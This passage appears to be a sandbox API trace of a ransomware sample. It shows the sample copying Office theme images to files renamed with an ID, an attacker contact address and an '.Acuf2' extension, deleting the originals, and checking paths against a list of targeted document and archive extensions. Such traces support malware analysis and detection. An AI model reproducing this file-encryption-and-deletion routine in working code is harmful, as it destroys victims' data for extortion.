	[0050.563] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.567] GetLastError () returned 0x0
	[0050.567] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xf75, lpOverlapped=0x0) returned 1
	[0050.574] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xf80, lpOverlapped=0x0) returned 1
	[0050.575] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.575] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.575] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.576] CloseHandle (hObject=0x1a4) returned 1
	[0050.576] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.576] SetEndOfFile (hFile=0x178) returned 1
	[0050.577] CloseHandle (hObject=0x178) returned 1
	[0050.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.577] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1
	[0050.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.577] lstrlenW (lpString=".doc") returned 4
	[0050.577] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.578] lstrlenW (lpString=".docx") returned 5
	[0050.578] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.578] lstrlenW (lpString=".pdf") returned 4
	[0050.578] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.578] lstrlenW (lpString=".xls") returned 4
	[0050.578] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.578] lstrlenW (lpString=".xlsx") returned 5
	[0050.578] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.578] lstrlenW (lpString=".ppt") returned 4
	[0050.578] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.578] lstrlenW (lpString=".zip") returned 4
	[0050.578] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.578] lstrlenW (lpString=".rar") returned 4
	[0050.578] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.578] lstrlenW (lpString=".bz2") returned 4
	[0050.578] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.578] lstrlenW (lpString=".7z") returned 3
	[0050.578] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.578] lstrlenW (lpString=".dbf") returned 4
	[0050.578] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.578] lstrlenW (lpString=".1cd") returned 4
	[0050.578] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.578] lstrlenW (lpString=".jpg") returned 4
	[0050.578] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.579] lstrlenW (lpString=".doc") returned 4
	[0050.579] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.579] lstrlenW (lpString=".docx") returned 5
	[0050.579] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.579] lstrlenW (lpString=".pdf") returned 4
	[0050.579] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.579] lstrlenW (lpString=".xls") returned 4
	[0050.579] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.579] lstrlenW (lpString=".xlsx") returned 5
	[0050.579] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.579] lstrlenW (lpString=".ppt") returned 4
	[0050.579] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.579] lstrlenW (lpString=".zip") returned 4
	[0050.579] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.579] lstrlenW (lpString=".rar") returned 4
	[0050.579] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.579] lstrlenW (lpString=".bz2") returned 4
	[0050.579] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.579] lstrlenW (lpString=".7z") returned 3
	[0050.579] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.579] lstrlenW (lpString=".dbf") returned 4
	[0050.579] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.580] lstrlenW (lpString=".1cd") returned 4
	[0050.580] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0050.580] lstrlenW (lpString=".jpg") returned 4
	[0050.580] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.580] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.580] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.581] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=33277) returned 1
	[0050.581] CloseHandle (hObject=0x178) returned 1
	[0050.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20
	[0050.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.581] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.581] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.582] GetLastError () returned 0x0
	[0050.582] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x81fd, lpOverlapped=0x0) returned 1
	[0050.584] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x8200, lpOverlapped=0x0) returned 1
	[0050.585] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.585] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.585] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.585] CloseHandle (hObject=0x1a4) returned 1
	[0050.586] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.586] SetEndOfFile (hFile=0x178) returned 1
	[0050.587] CloseHandle (hObject=0x178) returned 1
	[0050.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.587] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1
	[0050.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.587] lstrlenW (lpString=".doc") returned 4
	[0050.587] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.587] lstrlenW (lpString=".docx") returned 5
	[0050.587] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.587] lstrlenW (lpString=".pdf") returned 4
	[0050.587] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.587] lstrlenW (lpString=".xls") returned 4
	[0050.587] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.587] lstrlenW (lpString=".xlsx") returned 5
	[0050.587] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.587] lstrlenW (lpString=".ppt") returned 4
	[0050.587] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.588] lstrlenW (lpString=".zip") returned 4
	[0050.588] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.588] lstrlenW (lpString=".rar") returned 4
	[0050.588] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.588] lstrlenW (lpString=".bz2") returned 4
	[0050.588] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.588] lstrlenW (lpString=".7z") returned 3
	[0050.588] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.588] lstrlenW (lpString=".dbf") returned 4
	[0050.588] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.588] lstrlenW (lpString=".1cd") returned 4
	[0050.588] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.588] lstrlenW (lpString=".jpg") returned 4
	[0050.588] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.588] lstrlenW (lpString=".doc") returned 4
	[0050.588] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.588] lstrlenW (lpString=".docx") returned 5
	[0050.588] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.588] lstrlenW (lpString=".pdf") returned 4
	[0050.588] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.588] lstrlenW (lpString=".xls") returned 4
	[0050.588] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.588] lstrlenW (lpString=".xlsx") returned 5
	[0050.588] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.588] lstrlenW (lpString=".ppt") returned 4
	[0050.589] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.589] lstrlenW (lpString=".zip") returned 4
	[0050.589] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.589] lstrlenW (lpString=".rar") returned 4
	[0050.589] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.589] lstrlenW (lpString=".bz2") returned 4
	[0050.589] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.589] lstrlenW (lpString=".7z") returned 3
	[0050.589] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.589] lstrlenW (lpString=".dbf") returned 4
	[0050.589] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.589] lstrlenW (lpString=".1cd") returned 4
	[0050.589] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77
	[0050.589] lstrlenW (lpString=".jpg") returned 4
	[0050.589] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.589] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.589] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.590] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1453) returned 1
	[0050.590] CloseHandle (hObject=0x178) returned 1
	[0050.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20
	[0050.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.590] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.590] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.592] GetLastError () returned 0x0
	[0050.592] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x5ad, lpOverlapped=0x0) returned 1
	[0050.594] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0050.595] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.595] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.595] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.595] CloseHandle (hObject=0x1a4) returned 1
	[0050.595] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.595] SetEndOfFile (hFile=0x178) returned 1
	[0050.596] CloseHandle (hObject=0x178) returned 1
	[0050.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.596] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1
	[0050.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.597] lstrlenW (lpString=".doc") returned 4
	[0050.597] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.597] lstrlenW (lpString=".docx") returned 5
	[0050.597] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.597] lstrlenW (lpString=".pdf") returned 4
	[0050.597] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.597] lstrlenW (lpString=".xls") returned 4
	[0050.597] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.597] lstrlenW (lpString=".xlsx") returned 5
	[0050.597] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.597] lstrlenW (lpString=".ppt") returned 4
	[0050.597] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.597] lstrlenW (lpString=".zip") returned 4
	[0050.597] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.597] lstrlenW (lpString=".rar") returned 4
	[0050.597] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.597] lstrlenW (lpString=".bz2") returned 4
	[0050.597] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.597] lstrlenW (lpString=".7z") returned 3
	[0050.597] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.597] lstrlenW (lpString=".dbf") returned 4
	[0050.597] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.597] lstrlenW (lpString=".1cd") returned 4
	[0050.597] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.598] lstrlenW (lpString=".jpg") returned 4
	[0050.598] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.598] lstrlenW (lpString=".doc") returned 4
	[0050.598] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.598] lstrlenW (lpString=".docx") returned 5
	[0050.598] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.598] lstrlenW (lpString=".pdf") returned 4
	[0050.598] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.598] lstrlenW (lpString=".xls") returned 4
	[0050.598] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.598] lstrlenW (lpString=".xlsx") returned 5
	[0050.598] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.598] lstrlenW (lpString=".ppt") returned 4
	[0050.598] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.598] lstrlenW (lpString=".zip") returned 4
	[0050.598] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.598] lstrlenW (lpString=".rar") returned 4
	[0050.598] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.598] lstrlenW (lpString=".bz2") returned 4
	[0050.598] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.598] lstrlenW (lpString=".7z") returned 3
	[0050.598] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.598] lstrlenW (lpString=".dbf") returned 4
	[0050.598] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.598] lstrlenW (lpString=".1cd") returned 4
	[0050.598] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0050.599] lstrlenW (lpString=".jpg") returned 4
	[0050.599] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.599] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.599] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.599] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=25106) returned 1
	[0050.599] CloseHandle (hObject=0x178) returned 1
	[0050.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20
